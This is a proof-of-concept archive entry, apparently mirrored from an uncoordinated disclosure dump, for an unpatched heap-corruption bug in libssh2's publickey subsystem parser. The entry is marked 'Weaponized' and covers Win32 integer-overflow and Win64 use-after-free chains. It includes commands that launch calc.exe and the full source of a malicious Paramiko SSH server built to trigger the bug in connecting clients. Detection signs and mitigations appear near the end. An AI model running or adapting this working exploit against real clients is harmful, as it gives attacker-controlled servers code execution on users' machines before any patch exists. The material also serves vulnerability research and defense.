PoC Archive PoC Archive
Critical None assigned as of 2026-07-03 unpatched

libssh2 Publickey Subsystem List Parser Heap Corruption to Code Execution

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Critical
CVE
None assigned as of 2026-07-03
Category
network
Affected product
libssh2, publickey subsystem list parser (src/publickey.c)
Affected versions
libssh2/libssh2 master at commit e75b4bae3c68a9bde71de1fb6b0fba5b0c716020 (2026-06-24)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorynetwork
SeverityCritical
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusWeaponized
Tagslibssh2, ssh, publickey-subsystem, heap-overflow, use-after-free, integer-overflow, windows, rce, memory-corruption
RelatedN/A

Affected Target

FieldValue
Software / Systemlibssh2, publickey subsystem list parser (src/publickey.c)
Versions Affectedlibssh2/libssh2 master at commit e75b4bae3c68a9bde71de1fb6b0fba5b0c716020 (2026-06-24)
Language / PlatformC (Win32/Win64 PoC harnesses), Python (Paramiko-based live SSH server) — targets Windows libssh2 clients
Authentication RequiredNo (triggered by a malicious/compromised SSH server against a connecting libssh2 client using the publickey subsystem)
Network Access RequiredYes (delivered over an SSH connection, including a live end-to-end transport proof)

Summary

libssh2_publickey_list_fetch() parses a stream of publickey-subsystem response packets and grows an array of libssh2_publickey_list entries as responses arrive, but the parser has two distinct memory-safety defects depending on target architecture. On 32-bit Windows builds, num_attrs * sizeof(libssh2_publickey_attribute) can integer-overflow (e.g. 0x0ccccccd * 20 = 0x100000004, truncating to a 4-byte allocation on 32-bit size_t), after which the attribute-parsing loop writes multiple attacker-controlled fields past the undersized buffer, letting an attacker groom an adjacent callback pointer and redirect execution. On 64-bit builds the same tiny-allocation path is not reachable, but a use-after-free exists instead: an unexpected “recognized” version response frees an attacker-shaped response buffer while a subsequent malformed publickey response grows the list allocation into that freed slot, so list cleanup later walks attacker-shaped entries and frees attacker-chosen attrs pointers, which can be reclaimed and used to hijack a callback. The PoC package includes both a Win32 heap-groom chain and a Win64 free/reclaim chain, plus a live end-to-end proof that drives the Win64 chain over a real localhost SSH session using a Paramiko server and a target-shaped libssh2 client. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

src/publickey.c computes the publickey attribute array allocation as num_attrs * sizeof(libssh2_publickey_attribute) without checking for multiplication overflow (Win32 impact), and libssh2_publickey_list_free() trusts packet/attrs pointers in newly grown-but-not-yet-initialized list entries until a sentinel is reached, allowing an out-of-order or malformed response sequence to trigger a free of, and later reclaim into, an attacker-influenced entry (Win64 impact).

Attack Vector

  1. Attacker controls or compromises an SSH server that a libssh2-based client connects to and opens the publickey subsystem against.
  2. Win32 path: server sends a publickey response with a small key name/blob but a huge num_attrs value that overflows the 32-bit attrs allocation to 4 bytes; the parser’s attribute loop then writes name/value pointers and lengths past that tiny buffer, overwriting an adjacent callback slot that the harness later invokes to launch code.
  3. Win64 path: server first sends an unexpected-but-recognized version response sized to match a future list allocation, causing libssh2 to free an attacker-shaped buffer; server then sends a malformed publickey response that forces the error path before the new list entry and sentinel are initialized.
  4. List cleanup (libssh2_publickey_list_free()) walks the still-uninitialized entry and frees the attacker-controlled attrs pointer left over from the freed victim object.
  5. A same-size allocation reclaims the freed slot and installs a controlled callback, which the harness invokes to demonstrate code execution; the live-transport variant performs the same chain over a real SSH connection using public libssh2 APIs.

Impact

Attacker-controlled SSH servers can corrupt heap memory in connecting libssh2 clients that use the publickey subsystem, with a demonstrated path to arbitrary code execution (calc.exe launch) on both 32-bit and 64-bit Windows builds.


Environment / Lab Setup

Target:   Windows libssh2 client (Win32 and Win64 builds) linking publickey.c from the tested commit
Attacker: MinGW-w64 cross-compiler, Python 3 with Paramiko (live transport proof), Wine (for non-Windows replay)

Proof of Concept

PoC Script

See publickey_win32_heap_groom_calc_repro.c, publickey_win64_arbitrary_free_calc_repro.c, live_publickey_server.py, live_publickey_client_win64.c, and replay-calc-poc.py in this folder.

1
2
3
4
python3 replay-calc-poc.py

python3 live_publickey_server.py --host 127.0.0.1 --port 2228 --victim 0x0000013370000000 --offset 27
wine ./live_publickey_client_win64.exe 127.0.0.1 2228 calc

replay-calc-poc.py builds vulnerable and hardened (“checked”) Win32/Win64 harnesses locally and drives both the allocation-wrap and free/reclaim chains, popping calc.exe on the vulnerable builds while confirming the checked builds are unaffected. live_publickey_server.py and live_publickey_client_win64.c demonstrate the Win64 free/reclaim chain end-to-end over a real SSH session using the public libssh2 client API.


Detection & Indicators of Compromise

Signs of compromise:

  • SSH clients using the publickey subsystem crashing or exhibiting heap corruption shortly after connecting to a given server
  • Unexpected process creation immediately following publickey subsystem list-fetch operations
  • Anomalous publickey response sequences (oversized num_attrs, out-of-order version responses) observed in SSH session captures

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory; upstream fix shape per the source is to zero newly grown list entries immediately and reject num_attrs values that would overflow the attrs allocation multiplication
Interim mitigationOnly use the publickey subsystem against trusted, verified SSH servers; pin host keys and avoid untrusted SSH endpoints until patched

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: libssh2-publickey-list-calc-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

live_publickey_server.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
import argparse
import socket
import struct
import sys
import threading
import time

import paramiko


DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 2228
DEFAULT_VICTIM = 0x0000013370000000
LIST_ENTRY_SIZE_WIN64 = 48


def ssh_string(value):
    return struct.pack(">I", len(value)) + value


def subsystem_packet(payload):
    return struct.pack(">I", len(payload)) + payload


def version_response():
    return subsystem_packet(ssh_string(b"version") + struct.pack(">I", 2))


def version_groom_response(attrs_ptr, offsets):
    payload_len = 9 * LIST_ENTRY_SIZE_WIN64
    payload = bytearray(payload_len)
    prefix = ssh_string(b"version")
    payload[: len(prefix)] = prefix
    for offset in offsets:
        struct.pack_into("<Q", payload, offset, attrs_ptr)
    return subsystem_packet(bytes(payload))


def malformed_publickey_response():
    payload = ssh_string(b"publickey") + ssh_string(b"n") + b"\x00"
    return subsystem_packet(payload)


def recv_exact(channel, wanted):
    chunks = []
    total = 0
    while total < wanted:
        chunk = channel.recv(wanted - total)
        if not chunk:
            raise EOFError("channel closed")
        chunks.append(chunk)
        total += len(chunk)
    return b"".join(chunks)


def recv_subsystem_packet(channel):
    header = recv_exact(channel, 4)
    length = struct.unpack(">I", header)[0]
    return recv_exact(channel, length)


def send_all(channel, data):
    offset = 0
    while offset < len(data):
        sent = channel.send(data[offset:])
        if sent <= 0:
            raise EOFError("send failed")
        offset += sent


def serve_publickey_channel(channel, attrs_ptr, offsets, hold_seconds, done):
    try:
        client_version = recv_subsystem_packet(channel)
        print(f"server_recv_version_len={len(client_version)}", flush=True)
        send_all(channel, version_response())
        print("server_sent_version=1", flush=True)

        client_list = recv_subsystem_packet(channel)
        print(f"server_recv_list_len={len(client_list)}", flush=True)
        send_all(channel, version_groom_response(attrs_ptr, offsets))
        print(
            f"server_sent_groom_attrs=0x{attrs_ptr:016x} offsets={offsets}",
            flush=True,
        )
        send_all(channel, malformed_publickey_response())
        print("server_sent_malformed_publickey=1", flush=True)
        time.sleep(hold_seconds)
    except Exception as exc:
        print(f"server_error={exc}", flush=True)
    finally:
        done.set()
        try:
            channel.close()
        except Exception:
            pass


class PublickeyServer(paramiko.ServerInterface):
    def __init__(self, attrs_ptr, offsets, hold_seconds, done):
        self.attrs_ptr = attrs_ptr
        self.offsets = offsets
        self.hold_seconds = hold_seconds
        self.done = done

    def check_auth_password(self, username, password):
        print(f"auth username={username!r} password_len={len(password)}", flush=True)
        return paramiko.AUTH_SUCCESSFUL

    def get_allowed_auths(self, username):
        return "password"

    def check_channel_request(self, kind, chanid):
        print(f"channel_request kind={kind!r} chanid={chanid}", flush=True)
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_channel_subsystem_request(self, channel, name):
        print(f"subsystem_request name={name!r}", flush=True)
        if name != "publickey":
            return False
        worker = threading.Thread(
            target=serve_publickey_channel,
            args=(
                channel,
                self.attrs_ptr,
                self.offsets,
                self.hold_seconds,
                self.done,
            ),
            daemon=True,
        )
        worker.start()
        return True


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default=DEFAULT_HOST)
    parser.add_argument("--port", type=int, default=DEFAULT_PORT)
    parser.add_argument("--victim", type=lambda s: int(s, 0), default=DEFAULT_VICTIM)
    parser.add_argument(
        "--offset",
        dest="offsets",
        action="append",
        type=lambda s: int(s, 0),
        default=None,
    )
    parser.add_argument("--hold", type=float, default=2.0)
    args = parser.parse_args()
    offsets = args.offsets if args.offsets is not None else [27]
    host_key = paramiko.RSAKey.generate(2048)
    done = threading.Event()

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((args.host, args.port))
    sock.listen(1)
    print(
        f"server_listening={args.host}:{args.port} victim=0x{args.victim:016x} offsets={offsets}",
        flush=True,
    )

    client, addr = sock.accept()
    print(f"server_client={addr[0]}:{addr[1]}", flush=True)
    transport = paramiko.Transport(client)
    transport.add_server_key(host_key)
    transport.start_server(
        server=PublickeyServer(args.victim, offsets, args.hold, done)
    )
    channel = transport.accept(20)
    if channel is None:
        print("server_no_channel=1", flush=True)
        return 1

    done.wait(20)
    transport.close()
    sock.close()
    print("server_done=1", flush=True)
    return 0


if __name__ == "__main__":
    sys.exit(main())